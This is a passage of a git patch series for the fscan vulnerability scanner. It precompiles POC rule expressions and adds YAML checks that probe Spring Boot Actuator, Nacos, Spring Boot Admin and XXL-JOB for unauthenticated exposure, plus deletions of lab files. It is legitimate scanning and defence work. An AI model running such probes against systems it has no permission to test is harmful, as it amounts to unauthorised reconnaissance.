compilePocSearches(p *Poc) (map[string]*regexp.Regexp, []string, error) { + patterns := collectPocSearchPatterns(p) + searches := make(map[string]*regexp.Regexp, len(patterns)) + captureNames := make([]string, 0) + seenCaptures := make(map[string]struct{}) + for _, pattern := range patterns { + compiled, err := regexp.Compile(pattern) + if err != nil { + return nil, nil, fmt.Errorf("compile search expression %q: %w", compactExpression(pattern), err) + } + searches[pattern] = compiled + for _, name := range compiled.SubexpNames() { + if name == "" { + continue + } + if _, exists := seenCaptures[name]; exists { + continue + } + seenCaptures[name] = struct{}{} + captureNames = append(captureNames, name) + } + } + return searches, captureNames, nil +} + +func collectPreparedVarDeclarations(p *Poc, captureNames []string) []*exprpb.Decl { + baseDeclarations := collectVarDeclarations(p) + declarations := make([]*exprpb.Decl, 0, len(baseDeclarations)+len(captureNames)) + seen := make(map[string]struct{}, cap(declarations)) + for _, declaration := range baseDeclarations { + if declaration == nil || declaration.Name == "" { + continue + } + if _, exists := seen[declaration.Name]; exists { + continue + } + seen[declaration.Name] = struct{}{} + declarations = append(declarations, declaration) + } + for _, name := range captureNames { + if _, exists := seen[name]; exists { + continue + } + seen[name] = struct{}{} + declarations = append(declarations, MakeVarDecl(name, "")) + } + return declarations +} + +func collectPocExpressions(p *Poc) []string { + expressions := make([]string, 0, len(p.Set)+len(p.Rules)+len(p.Sets)) + seen := make(map[string]struct{}) + add := func(expression string) { + if expression == "" { + return + } + if _, exists := seen[expression]; exists { + return + } + seen[expression] = struct{}{} + expressions = append(expressions, expression) + } + + declaredVariables := make(map[string]interface{}, len(p.Set)+len(p.Sets)) + for _, item := range p.Set { + declaredVariables[item.Key] = nil + if item.Value != "newReverse()" { + add(item.Value) + } + } + for _, item := range p.Sets { + declaredVariables[item.Key] = nil + } + for _, item := range p.Sets { + for _, expression := range item.Value { + if !isPlainLiteral(expression, declaredVariables) { + add(expression) + } + } + } + forEachPocRule(p, func(rule Rules) { + add(rule.Expression) + }) + return expressions +} + +func collectPocSearchPatterns(p *Poc) []string { + patterns := make([]string, 0) + seen := make(map[string]struct{}) + forEachPocRule(p, func(rule Rules) { + if rule.Search == "" { + return + } + if _, exists := seen[rule.Search]; exists { + return + } + seen[rule.Search] = struct{}{} + patterns = append(patterns, rule.Search) + }) + return patterns +} + +func forEachPocRule(p *Poc, fn func(Rules)) { + for _, rule := range p.Rules { + fn(rule) + } + for _, group := range p.Groups { + for _, rule := range group.Value { + fn(rule) + } + } +} + +func compactExpression(expression string) string { + const maxLength = 120 + compact := strings.Join(strings.Fields(expression), " ") + if len(compact) <= maxLength { + return compact + } + return compact[:maxLength] + "..." +} + +func (p *preparedPoc) search(pattern, body string) map[string]string { + if p != nil { + if compiled := p.searches[pattern]; compiled != nil { + return searchWithRegexp(compiled, body) + } + } + return doSearch(pattern, body) +} diff --git a/webscan/lib/poc_precompile_test.go b/webscan/lib/poc_precompile_test.go new file mode 100644 index 00000000..af590fc2 --- /dev/null +++ b/webscan/lib/poc_precompile_test.go @@ -0,0 +1,134 @@ +package lib + +import ( + "sync" + "testing" +) + +func TestPocPreparePrecompilesAndReusesPlan(t *testing.T) { + poc := &Poc{ + Name: "prepared-test", + Set: StrMap{ + {Key: "token", Value: `"ok"`}, + }, + Rules: []Rules{ + { + Search: `user=(?P[a-z]+)`, + Expression: `token == "ok"`, + }, + { + Expression: `username == "admin"`, + }, + }, + } + + if err := poc.Prepare(); err != nil { + t.Fatalf("Prepare() error = %v", err) + } + first := poc.prepared + if first == nil || first.env == nil || first.programs == nil { + t.Fatal("Prepare() did not create a complete execution plan") + } + if got, want := first.programs.len(), 3; got != want { + t.Fatalf("compiled program count = %d, want %d", got, want) + } + if got := first.search(`user=(?P[a-z]+)`, "user=admin"); got["username"] != "admin" { + t.Fatalf("precompiled search result = %#v", got) + } + + if err := poc.Prepare(); err != nil { + t.Fatalf("second Prepare() error = %v", err) + } + if poc.prepared != first { + t.Fatal("Prepare() rebuilt an already prepared POC") + } +} + +func TestPocPrepareConcurrentEvaluation(t *testing.T) { + poc := &Poc{ + Set: StrMap{{Key: "token", Value: `"ok"`}}, + Rules: []Rules{{Expression: `token == "ok"`}}, + } + if err := poc.Prepare(); err != nil { + t.Fatalf("Prepare() error = %v", err) + } + + const workers = 32 + var wg sync.WaitGroup + errs := make(chan error, workers) + for i := 0; i < workers; i++ { + wg.Add(1) + go func() { + defer wg.Done() + out, err := EvaluateCached(poc.prepared.env, `token == "ok"`, map[string]interface{}{"token": "ok"}, poc.prepared.programs) + if err != nil { + errs <- err + return + } + if value, ok := out.Value().(bool); !ok || !value { + errs <- errUnexpectedPreparedResult + } + }() + } + wg.Wait() + close(errs) + for err := range errs { + if err != nil { + t.Fatalf("concurrent evaluation error = %v", err) + } + } +} + +func TestPocPrepareCachesInvalidCEL(t *testing.T) { + poc := &Poc{Rules: []Rules{{Expression: "response."}}} + if err := poc.Prepare(); err != nil { + t.Fatalf("Prepare() error = %v", err) + } + program, compileErr, cached := poc.prepared.programs.get("response.") + if !cached || compileErr == nil || program != nil { + t.Fatalf("invalid CEL cache = (program=%v, err=%v, cached=%v)", program, compileErr, cached) + } +} + +func TestPocPrepareRejectsInvalidSearchRegex(t *testing.T) { + poc := &Poc{Rules: []Rules{{Search: "[", Expression: "true"}}} + if err := poc.Prepare(); err == nil { + t.Fatal("Prepare() error = nil, want regex validation error") + } +} + +func BenchmarkPocCELEvaluation(b *testing.B) { + poc := &Poc{ + Set: StrMap{{Key: "token", Value: `"ok"`}}, + Rules: []Rules{{Expression: `token == "ok" && response.status == 200`}}, + } + if err := poc.Prepare(); err != nil { + b.Fatalf("Prepare() error = %v", err) + } + params := map[string]interface{}{ + "token": "ok", + "response": &Response{Status: 200}, + } + expression := poc.Rules[0].Expression + + b.Run("prepared", func(b *testing.B) { + for i := 0; i < b.N; i++ { + if _, err := EvaluateCached(poc.prepared.env, expression, params, poc.prepared.programs); err != nil { + b.Fatal(err) + } + } + }) + b.Run("compile-each-time", func(b *testing.B) { + for i := 0; i < b.N; i++ { + if _, err := Evaluate(poc.prepared.env, expression, params); err != nil { + b.Fatal(err) + } + } + }) +} + +type preparedResultError string + +func (e preparedResultError) Error() string { return string(e) } + +const errUnexpectedPreparedResult preparedResultError = "prepared CEL program returned a non-true result" diff --git a/webscan/web_scan.go b/webscan/web_scan.go index 6dbdfb1c..2f2944ba 100644 --- a/webscan/web_scan.go +++ b/webscan/web_scan.go @@ -52,9 +52,6 @@ var globalPocStore = &pocStore{cache: make(map[string][]*lib.Poc)} // WebScan 执行Web漏洞扫描 func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config, session *common.ScanSession) { - // 初始化POC配置(用于CEL回调函数) - lib.InitPOCConfig(cfg.DNSLog) - // 加载POC(按 PocPath 缓存,不同路径独立加载) pocs := globalPocStore.getOrLoad(cfg.POC.PocPath) @@ -355,7 +352,11 @@ func loadPocsConcurrently(pocFiles []string, isEmbedded bool, pocPath string) [] poc, err = lib.LoadPocbyPath(filename) } - if err == nil && poc != nil { + if err != nil { + common.LogError(i18n.Tr("webscan_poc_load_one_failed", filename, err)) + return + } + if poc != nil { results <- poc } }(file) diff --git a/webscan/web_scan_test.go b/webscan/web_scan_test.go index 066a830c..cdf31129 100644 --- a/webscan/web_scan_test.go +++ b/webscan/web_scan_test.go @@ -9,6 +9,24 @@ import ( "github.com/shadow1ng/fscan/webscan/lib" ) +func TestEmbeddedPocsArePreparedAtLoadTime(t *testing.T) { + entries, err := pocsFS.ReadDir("pocs") + if err != nil { + t.Fatalf("ReadDir(pocs) error = %v", err) + } + want := 0 + for _, entry := range entries { + if isPocFile(entry.Name()) { + want++ + } + } + + pocs := loadEmbeddedPocs() + if len(pocs) != want { + t.Fatalf("prepared embedded POCs = %d, want %d", len(pocs), want) + } +} + func TestBuildTargetURL(t *testing.T) { tests := []struct { name string From 8242aa0a8c982f83eac77416a2a784415b9366c2 Mon Sep 17 00:00:00 2001 From: CO0KlE1 <173026624+CO0KlE1@users.noreply.github.com> Date: Fri, 10 Jul 2026 14:33:12 +0800 Subject: [PATCH 2/6] add lightweight Spring Actuator exposure check --- webscan/lib/spring_actuator_poc_test.go | 93 +++++++++++++++++++ ...oot-actuator-sensitive-endpoint-unauth.yml | 20 ++++ 2 files changed, 113 insertions(+) create mode 100644 webscan/lib/spring_actuator_poc_test.go create mode 100644 webscan/pocs/springboot-actuator-sensitive-endpoint-unauth.yml diff --git a/webscan/lib/spring_actuator_poc_test.go b/webscan/lib/spring_actuator_poc_test.go new file mode 100644 index 00000000..75fbdfbc --- /dev/null +++ b/webscan/lib/spring_actuator_poc_test.go @@ -0,0 +1,93 @@ +package lib + +import ( + "context" + "net/http" + "net/http/httptest" + "path/filepath" + "strings" + "sync" + "testing" + "time" + + "github.com/shadow1ng/fscan/common" +) + +func TestSpringActuatorSensitiveEndpointPoc(t *testing.T) { + poc, err := LoadPocbyPath(filepath.Join("..", "pocs", "springboot-actuator-sensitive-endpoint-unauth.yml")) + if err != nil { + t.Fatalf("LoadPocbyPath: %v", err) + } + const discoveryBody = `{"_links":{"self":{"href":"http://example/actuator"},"beans":{"href":"http://example/actuator/beans"}}}` + if got := doSearch(poc.Rules[0].Search, discoveryBody)["endpoint"]; got != "beans" { + t.Fatalf("discovery search %q captured endpoint %q, want beans", poc.Rules[0].Search, got) + } + + tests := []struct { + name string + rootStatus int + verifyStatus int + wantHit bool + wantRequests string + }{ + {name: "sensitive endpoint exposed", rootStatus: http.StatusOK, verifyStatus: http.StatusOK, wantHit: true, wantRequests: "GET /actuator,HEAD /actuator/beans"}, + {name: "sensitive endpoint protected", rootStatus: http.StatusOK, verifyStatus: http.StatusUnauthorized, wantHit: false, wantRequests: "GET /actuator,HEAD /actuator/beans"}, + {name: "not actuator", rootStatus: http.StatusNotFound, verifyStatus: http.StatusNotFound, wantHit: false, wantRequests: "GET /actuator"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + var requestMu sync.Mutex + requests := make([]string, 0, 2) + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + requestMu.Lock() + requests = append(requests, r.Method+" "+r.URL.Path) + requestMu.Unlock() + + switch r.URL.Path { + case "/actuator": + w.Header().Set("Content-Type", "application/vnd.spring-boot.actuator.v3+json") + w.WriteHeader(tt.rootStatus) + if r.Method != http.MethodHead { + _, _ = w.Write([]byte(discoveryBody)) + } + case "/actuator/beans": + w.Header().Set("Content-Type", "application/vnd.spring-boot.actuator.v3+json") + w.WriteHeader(tt.verifyStatus) + default: + http.NotFound(w, r) + } + })) + defer server.Close() + + cfg := common.NewConfig() + cfg.Output.Silent = true + cfg.Network.WebTimeout = 5 * time.Second + cfg.Network.MaxRedirects = 1 + session := common.NewScanSession(cfg, common.NewState(), &common.FlagVars{}) + if err := InitSessionHTTP(cfg, session); err != nil { + t.Fatalf("InitSessionHTTP: %v", err) + } + defer session.Deactivate() + + req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, server.URL, nil) + if err != nil { + t.Fatalf("NewRequestWithContext: %v", err) + } + hit, _, err := executePoc(req, poc, &POCContext{Session: session}) + if err != nil { + t.Fatalf("executePoc: %v", err) + } + if hit != tt.wantHit { + t.Fatalf("executePoc hit = %v, want %v", hit, tt.wantHit) + } + + requestMu.Lock() + gotRequests := strings.Join(requests, ",") + requestMu.Unlock() + if gotRequests != tt.wantRequests { + t.Fatalf("requests = %q, want %q", gotRequests, tt.wantRequests) + } + }) + } +} diff --git a/webscan/pocs/springboot-actuator-sensitive-endpoint-unauth.yml b/webscan/pocs/springboot-actuator-sensitive-endpoint-unauth.yml new file mode 100644 index 00000000..86508d01 --- /dev/null +++ b/webscan/pocs/springboot-actuator-sensitive-endpoint-unauth.yml @@ -0,0 +1,20 @@ +name: poc-yaml-springboot-actuator-sensitive-endpoint-unauth +rules: + - method: GET + path: /actuator + follow_redirects: false + search: |- + "(?Pbeans|configprops|mappings|httpexchanges|httptrace|scheduledtasks|sessions|threaddump|logfile|jolokia|gateway|loggers)"\s*:\s*\{\s*"href"\s*:\s*"[^"]+" + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b'"_links"') + - method: HEAD + path: /actuator/{{endpoint}} + follow_redirects: false + expression: | + response.status == 200 && (response.content_type.contains("json") || response.content_type.contains("octet-stream") || response.content_type.contains("text/plain")) +detail: + author: CO0KlE1 + description: A sensitive Spring Boot Actuator endpoint is listed and accessible without authentication. Detection uses one discovery request and a bodyless HEAD verification. + links: + - https://docs.spring.io/spring-boot/reference/actuator/endpoints.html + - https://docs.spring.io/spring-boot/reference/actuator/monitoring.html From fb6379de2c497054c5aa8e69756f4896ce531265 Mon Sep 17 00:00:00 2001 From: CO0KlE1 <173026624+CO0KlE1@users.noreply.github.com> Date: Fri, 10 Jul 2026 14:56:01 +0800 Subject: [PATCH 3/6] add lightweight middleware exposure checks --- .../pocs/alibaba-nacos-namespace-unauth.yml | 23 +++++++++++++++++++ webscan/pocs/spring-boot-admin-unauth.yml | 18 +++++++++++++++ webscan/pocs/xxl-job-admin-unauth.yml | 22 ++++++++++++++++++ 3 files changed, 63 insertions(+) create mode 100644 webscan/pocs/alibaba-nacos-namespace-unauth.yml create mode 100644 webscan/pocs/spring-boot-admin-unauth.yml create mode 100644 webscan/pocs/xxl-job-admin-unauth.yml diff --git a/webscan/pocs/alibaba-nacos-namespace-unauth.yml b/webscan/pocs/alibaba-nacos-namespace-unauth.yml new file mode 100644 index 00000000..99257eb5 --- /dev/null +++ b/webscan/pocs/alibaba-nacos-namespace-unauth.yml @@ -0,0 +1,23 @@ +name: poc-yaml-alibaba-nacos-namespace-unauth +sets: + endpoint: + - nacos/v1/console/namespaces + - nacos/v3/console/core/namespace/list +rules: + - method: GET + path: /nacos/ + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(b"Nacos") + - method: GET + path: /{{endpoint}} + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b'"data"') && response.body.bcontains(b'"namespace"') && response.body.bcontains(b'"namespaceShowName"') && response.body.bcontains(b'"configCount"') +detail: + author: CO0KlE1 + description: The Nacos console namespace list is accessible without authentication. The check is read-only and supports the v1 and v3 console APIs. + links: + - https://nacos.io/en/docs/latest/manual/admin/auth/ + - https://github.com/alibaba/nacos/blob/2.4.3/console/src/main/java/com/alibaba/nacos/console/controller/NamespaceController.java + diff --git a/webscan/pocs/spring-boot-admin-unauth.yml b/webscan/pocs/spring-boot-admin-unauth.yml new file mode 100644 index 00000000..f747d375 --- /dev/null +++ b/webscan/pocs/spring-boot-admin-unauth.yml @@ -0,0 +1,18 @@ +name: poc-yaml-spring-boot-admin-unauth +rules: + - method: GET + path: / + follow_redirects: false + expression: | + response.status == 200 && (response.body.bcontains(b"Spring Boot Admin") || (response.body.bcontains(b"sba-settings.js") && response.body.bcontains(b"variables.css"))) + - method: GET + path: /instances + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("json") && (r'^\s*\[\s*\]\s*$'.bmatches(response.body) || (response.body.bcontains(b'"registration"') && (response.body.bcontains(b'"managementUrl"') || response.body.bcontains(b'"healthUrl"'))) || (response.body.bcontains(b'"_embedded"') && response.body.bcontains(b'"instances"'))) +detail: + author: CO0KlE1 + description: The Spring Boot Admin instance registry is accessible without authentication. The check reads only the instance collection and does not proxy any Actuator endpoint. + links: + - https://docs.spring-boot-admin.com/4.0.4/docs/reference/rest-api/ + - https://github.com/codecentric/spring-boot-admin diff --git a/webscan/pocs/xxl-job-admin-unauth.yml b/webscan/pocs/xxl-job-admin-unauth.yml new file mode 100644 index 00000000..96ffee25 --- /dev/null +++ b/webscan/pocs/xxl-job-admin-unauth.yml @@ -0,0 +1,22 @@ +name: poc-yaml-xxl-job-admin-unauth +rules: + - method: GET + path: /xxl-job-admin/ + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(b"adminlte") && (response.body.bcontains(b"XXL-JOB") || response.body.bcontains(b"XXLJOB") || response.body.bcontains(b"Powered by XXL-JOB")) + - method: POST + path: /xxl-job-admin/jobgroup/pageList + headers: + Content-Type: application/x-www-form-urlencoded + body: offset=0&pagesize=10 + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("json") && ((r'"code"\s*:\s*200'.bmatches(response.body) && response.body.bcontains(b'"data"') && response.body.bcontains(b'"total"')) || (response.body.bcontains(b'"recordsTotal"') && response.body.bcontains(b'"recordsFiltered"') && response.body.bcontains(b'"data"'))) +detail: + author: CO0KlE1 + description: The XXL-JOB executor group list is accessible without authentication. The check performs only a paginated list query and does not log in or trigger jobs. + links: + - https://github.com/xuxueli/xxl-job/blob/master/doc/XXL-JOB%E5%AE%98%E6%96%B9%E6%96%87%E6%A1%A3.md + - https://github.com/xuxueli/xxl-job/blob/master/xxl-job-admin/src/main/java/com/xxl/job/admin/business/controller/JobGroupController.java + From cb0cd670c9cb8705b4b47c853620dae6858b9c71 Mon Sep 17 00:00:00 2001 From: CO0KlE1 <173026624+CO0KlE1@users.noreply.github.com> Date: Fri, 10 Jul 2026 14:56:02 +0800 Subject: [PATCH 4/6] remove unused lab and generated artifacts --- .gitignore | 1 + README.md | 14 - README_EN.md | 14 - SKILL.md | 304 ---------- fscan-lab/.gitignore | 29 - fscan-lab/README.md | 48 -- fscan-lab/backend/Dockerfile | 23 - fscan-lab/backend/go.mod | 37 -- fscan-lab/backend/go.sum | 94 --- fscan-lab/backend/main.go | 551 ----------------- fscan-lab/docker-compose.yml | 382 ------------ fscan-lab/docker/attacker/Dockerfile | 36 -- fscan-lab/docker/attacker/frpc.ini | 18 - fscan-lab/docker/attacker/welcome.sh | 41 -- fscan-lab/docker/firewall/Dockerfile | 12 - fscan-lab/docker/firewall/firewall.sh | 116 ---- fscan-lab/docker/services/core/mongo/init.js | 21 - fscan-lab/docker/services/core/mssql/init.sql | 36 -- fscan-lab/docker/services/core/mysql/init.sql | 25 - .../docker/services/core/postgres/init.sql | 29 - .../services/dmz/vpn-gateway/authorized_keys | 1 - .../docker/services/dmz/vpn-gateway/frps.ini | 23 - .../services/dmz/vpn-gateway/start-frps.sh | 16 - .../services/office/pc-ssh/.bash_history | 8 - .../production/elasticsearch/init-es.sh | 42 -- .../docker/services/production/redis/init.sh | 6 - fscan-lab/flags/clues/dmz_clue.txt | 30 - fscan-lab/flags/clues/printer_info.txt | 17 - fscan-lab/flags/clues/prod_hosts.txt | 27 - fscan-lab/flags/clues/prod_redis.conf | 18 - fscan-lab/flags/flag1.txt | 15 - fscan-lab/flags/flag10.txt | 9 - fscan-lab/flags/flag11.txt | 9 - fscan-lab/flags/flag12.txt | 9 - fscan-lab/flags/flag13.txt | 1 - fscan-lab/flags/flag2.txt | 20 - fscan-lab/flags/flag3.txt | 19 - fscan-lab/flags/flag4.txt | 20 - fscan-lab/flags/flag5.txt | 2 - fscan-lab/flags/flag6.txt | 2 - fscan-lab/flags/flag7.txt | 2 - fscan-lab/flags/flag8.txt | 9 - fscan-lab/flags/flag9.txt | 9 - fscan-lab/flags/office_key | 27 - fscan-lab/flags/prod_jump_key | 27 - fscan-lab/frontend/Dockerfile | 18 - fscan-lab/frontend/index.html | 13 - fscan-lab/frontend/nginx.conf | 16 - fscan-lab/frontend/package.json | 38 -- fscan-lab/frontend/postcss.config.js | 6 - fscan-lab/frontend/src/App.tsx | 76 --- .../frontend/src/components/ui/badge.tsx | 36 -- .../frontend/src/components/ui/button.tsx | 56 -- fscan-lab/frontend/src/components/ui/card.tsx | 79 --- .../frontend/src/components/ui/input.tsx | 25 - .../frontend/src/components/ui/progress.tsx | 26 - fscan-lab/frontend/src/components/ui/tabs.tsx | 53 -- .../frontend/src/contexts/I18nContext.tsx | 40 -- fscan-lab/frontend/src/index.css | 59 -- fscan-lab/frontend/src/lib/api.ts | 105 ---- fscan-lab/frontend/src/lib/i18n.ts | 241 -------- fscan-lab/frontend/src/lib/utils.ts | 6 - fscan-lab/frontend/src/main.tsx | 13 - fscan-lab/frontend/src/pages/Challenges.tsx | 234 ------- fscan-lab/frontend/src/pages/Dashboard.tsx | 219 ------- fscan-lab/frontend/src/pages/Topology.tsx | 268 -------- fscan-lab/frontend/tailwind.config.js | 76 --- fscan-lab/frontend/tsconfig.json | 25 - fscan-lab/frontend/tsconfig.node.json | 10 - fscan-lab/frontend/vite.config.ts | 16 - fscan-lab/test-services/ActiveMQ/Dockerfile | 14 - fscan-lab/test-services/ActiveMQ/README.txt | 2 - fscan-lab/test-services/ActiveMQ/activemq.xml | 55 -- .../test-services/ActiveMQ/docker-compose.yml | 15 - .../ActiveMQ/jetty-realm.properties | 12 - fscan-lab/test-services/ActiveMQ/jetty.xml | 112 ---- .../test-services/ActiveMQ/users.properties | 4 - fscan-lab/test-services/Cassandra/README.txt | 2 - .../test-services/Elasticsearch/Dockerfile | 19 - .../test-services/Elasticsearch/README.txt | 2 - fscan-lab/test-services/FTP/README.txt | 2 - .../test-services/FTP/docker-compose.yml | 16 - fscan-lab/test-services/IMAP/Dockerfile | 74 --- fscan-lab/test-services/IMAP/README.txt | 2 - fscan-lab/test-services/Kafka/README.txt | 1 - .../test-services/Kafka/docker-compose.yml | 22 - fscan-lab/test-services/Kafka/kafka_jaas.conf | 8 - fscan-lab/test-services/LDAP/Dockerfile | 18 - fscan-lab/test-services/LDAP/README.txt | 2 - fscan-lab/test-services/LDAP/bootstrap.ldif | 24 - fscan-lab/test-services/MSSQL/Dockerfile | 14 - fscan-lab/test-services/MSSQL/README.txt | 5 - fscan-lab/test-services/Memcached/Dockerfile | 11 - fscan-lab/test-services/Memcached/README.txt | 5 - fscan-lab/test-services/Modbus/README.txt | 1 - fscan-lab/test-services/Mongodb/Dockerfile | 13 - fscan-lab/test-services/Mongodb/README.txt | 5 - fscan-lab/test-services/MySQL/Dockerfile | 17 - fscan-lab/test-services/MySQL/README.txt | 2 - fscan-lab/test-services/MySQL/my.cnf | 2 - fscan-lab/test-services/Neo4j/Dockerfile | 9 - .../test-services/Neo4j/docker-compose.yml | 11 - fscan-lab/test-services/Oracle/Dockerfile | 13 - fscan-lab/test-services/Oracle/README.txt | 11 - fscan-lab/test-services/POP3/Dockerfile | 64 -- fscan-lab/test-services/POP3/README.txt | 2 - fscan-lab/test-services/Postgre/Dockerfile | 14 - fscan-lab/test-services/Postgre/README.md | 5 - fscan-lab/test-services/RabbitMQ/Dockerfile | 10 - fscan-lab/test-services/RabbitMQ/README.txt | 2 - fscan-lab/test-services/Redis/Dockerfile | 35 -- fscan-lab/test-services/Redis/README.txt | 5 - .../test-services/Redis/docker-compose.yml | 18 - fscan-lab/test-services/Redis/redis.conf | 5 - fscan-lab/test-services/Rsync/Dockerfile | 40 -- fscan-lab/test-services/Rsync/README.txt | 2 - .../test-services/Rsync/docker-compose.yml | 9 - fscan-lab/test-services/SMB/Dockerfile | 52 -- fscan-lab/test-services/SMTP/Dockerfile | 51 -- fscan-lab/test-services/SMTP/README.txt | 2 - .../test-services/SMTP/docker-compose.yml | 9 - fscan-lab/test-services/SMTP/start.sh | 3 - fscan-lab/test-services/SNMP/Dockerfile | 23 - fscan-lab/test-services/SNMP/README.txt | 2 - .../test-services/SNMP/docker-compose.yml | 9 - fscan-lab/test-services/SSH/Dockerfile | 62 -- fscan-lab/test-services/SSH/README.txt | 2 - .../test-services/SSH/docker-compose.yml | 21 - fscan-lab/test-services/SSH/entrypoint.sh | 12 - fscan-lab/test-services/SSH/test_key | 27 - fscan-lab/test-services/SSH/test_key.pub | 1 - fscan-lab/test-services/SSH/test_key_root | 27 - fscan-lab/test-services/SSH/test_key_root.pub | 1 - fscan-lab/test-services/SSH/test_pairs.txt | 4 - .../test-services/SSH/test_passwords.txt | 8 - fscan-lab/test-services/SSH/test_users.txt | 5 - fscan-lab/test-services/Telnet/Dockerfile | 18 - fscan-lab/test-services/Telnet/README.md | 2 - .../test-services/Telnet/docker-compose.yml | 9 - fscan-lab/test-services/Tomcat/Dockerfile | 17 - fscan-lab/test-services/Tomcat/README.txt | 2 - fscan-lab/test-services/Tomcat/context.xml | 5 - .../test-services/Tomcat/tomcat-users.xml | 19 - fscan-lab/test-services/VNC/Dockerfile | 45 -- fscan-lab/test-services/VNC/README.txt | 2 - .../test-services/VNC/docker-compose.yml | 9 - .../VNC/simple-docker-compose.yml | 11 - fscan-lab/test-services/VNC/supervisord.conf | 16 - fscan-lab/test-services/Weblogic/Dockerfile | 20 - fscan-lab/test-services/Weblogic/README.txt | 2 - .../test-services/Weblogic/create-domain.py | 26 - fscan-lab/test-services/Weblogic/start.sh | 10 - .../test-services/Zabbix/docker-compose.yml | 58 -- fscan-lab/test-services/docker-compose.yml | 339 ----------- libs/grdp/protocol/t125/mcs.go.bak | 574 ------------------ .../results/benchmarks/benchmark_chart.png | Bin 257617 -> 0 bytes .../results/benchmarks/benchmark_results.txt | 22 - .../results/benchmarks/benchmark_tradeoff.png | Bin 75728 -> 0 bytes .../cloudflare_anycast/perf_results.csv | 11 - .../cloudflare_anycast/scalability.png | Bin 98487 -> 0 bytes .../internal_metrics_chart.png | Bin 170388 -> 0 bytes .../internal_metrics/precise_results.csv | 8 - .../internal_metrics/scalability_chart.png | Bin 104094 -> 0 bytes .../results/param_tests/mt_results.csv | 6 - .../results/param_tests/param_test_chart.png | Bin 98653 -> 0 bytes .../param_tests/time_optimization_chart.png | Bin 63228 -> 0 bytes .../results/param_tests/time_results.csv | 5 - 167 files changed, 1 insertion(+), 6245 deletions(-) delete mode 100644 SKILL.md delete mode 100644 fscan-lab/.gitignore delete mode 100644 fscan-lab/README.md delete mode 100644 fscan-lab/backend/Dockerfile delete mode 100644 fscan-lab/backend/go.mod delete mode 100644 fscan-lab/backend/go.sum delete mode 100644 fscan-lab/backend/main.go delete mode 100644 fscan-lab/docker-compose.yml delete mode 100644 fscan-lab/docker/attacker/Dockerfile delete mode 100644 fscan-lab/docker/attacker/frpc.ini delete mode 100644 fscan-lab/docker/attacker/welcome.sh delete mode 100644 fscan-lab/docker/firewall/Dockerfile delete mode 100644 fscan-lab/docker/firewall/firewall.sh delete mode 100644 fscan-lab/docker/services/core/mongo/init.js delete mode 100644 fscan-lab/docker/services/core/mssql/init.sql delete mode 100644 fscan-lab/docker/services/core/mysql/init.sql delete mode 100644 fscan-lab/docker/services/core/postgres/init.sql delete mode 100644 fscan-lab/docker/services/dmz/vpn-gateway/authorized_keys delete mode 100644 fscan-lab/docker/services/dmz/vpn-gateway/frps.ini delete mode 100644 fscan-lab/docker/services/dmz/vpn-gateway/start-frps.sh delete mode 100644 fscan-lab/docker/services/office/pc-ssh/.bash_history delete mode 100644 fscan-lab/docker/services/production/elasticsearch/init-es.sh delete mode 100644 fscan-lab/docker/services/production/redis/init.sh delete mode 100644 fscan-lab/flags/clues/dmz_clue.txt delete mode 100644 fscan-lab/flags/clues/printer_info.txt delete mode 100644 fscan-lab/flags/clues/prod_hosts.txt delete mode 100644 fscan-lab/flags/clues/prod_redis.conf delete mode 100644 fscan-lab/flags/flag1.txt delete mode 100644 fscan-lab/flags/flag10.txt delete mode 100644 fscan-lab/flags/flag11.txt delete mode 100644 fscan-lab/flags/flag12.txt delete mode 100644 fscan-lab/flags/flag13.txt delete mode 100644 fscan-lab/flags/flag2.txt delete mode 100644 fscan-lab/flags/flag3.txt delete mode 100644 fscan-lab/flags/flag4.txt delete mode 100644 fscan-lab/flags/flag5.txt delete mode 100644 fscan-lab/flags/flag6.txt delete mode 100644 fscan-lab/flags/flag7.txt delete mode 100644 fscan-lab/flags/flag8.txt delete mode 100644 fscan-lab/flags/flag9.txt delete mode 100644 fscan-lab/flags/office_key delete mode 100644 fscan-lab/flags/prod_jump_key delete mode 100644 fscan-lab/frontend/Dockerfile delete mode 100644 fscan-lab/frontend/index.html delete mode 100644 fscan-lab/frontend/nginx.conf delete mode 100644 fscan-lab/frontend/package.json delete mode 100644 fscan-lab/frontend/postcss.config.js delete mode 100644 fscan-lab/frontend/src/App.tsx delete mode 100644 fscan-lab/frontend/src/components/ui/badge.tsx delete mode 100644 fscan-lab/frontend/src/components/ui/button.tsx delete mode 100644 fscan-lab/frontend/src/components/ui/card.tsx delete mode 100644 fscan-lab/frontend/src/components/ui/input.tsx delete mode 100644 fscan-lab/frontend/src/components/ui/progress.tsx delete mode 100644 fscan-lab/frontend/src/components/ui/tabs.tsx delete mode 100644 fscan-lab/frontend/src/contexts/I18nContext.tsx delete mode 100644 fscan-lab/frontend/src/index.css delete mode 100644 fscan-lab/frontend/src/lib/api.ts delete mode 100644 fscan-lab/frontend/src/lib/i18n.ts delete mode 100644 fscan-lab/frontend/src/lib/utils.ts delete mode 100644 fscan-lab/frontend/src/main.tsx delete mode 100644 fscan-lab/frontend/src/pages/Challenges.tsx delete mode 100644 fscan-lab/frontend/src/pages/Dashboard.tsx delete mode 100644 fscan-lab/frontend/src/pages/Topology.tsx delete mode 100644 fscan-lab/frontend/tailwind.config.js delete mode 100644 fscan-lab/frontend/tsconfig.json delete mode 100644 fscan-lab/frontend/tsconfig.node.json delete mode 100644 fscan-lab/frontend/vite.config.ts delete mode 100644 fscan-lab/test-services/ActiveMQ/Dockerfile delete mode 100644 fscan-lab/test-services/ActiveMQ/README.txt delete mode 100644 fscan-lab/test-services/ActiveMQ/activemq.xml delete mode 100644 fscan-lab/test-services/ActiveMQ/docker-compose.yml delete mode 100644 fscan-lab/test-services/ActiveMQ/jetty-realm.properties delete mode 100644 fscan-lab/test-services/ActiveMQ/jetty.xml delete mode 100644 fscan-lab/test-services/ActiveMQ/users.properties delete mode 100644 fscan-lab/test-services/Cassandra/README.txt delete mode 100644 fscan-lab/test-services/Elasticsearch/Dockerfile delete mode 100644 fscan-lab/test-services/Elasticsearch/README.txt delete mode 100644 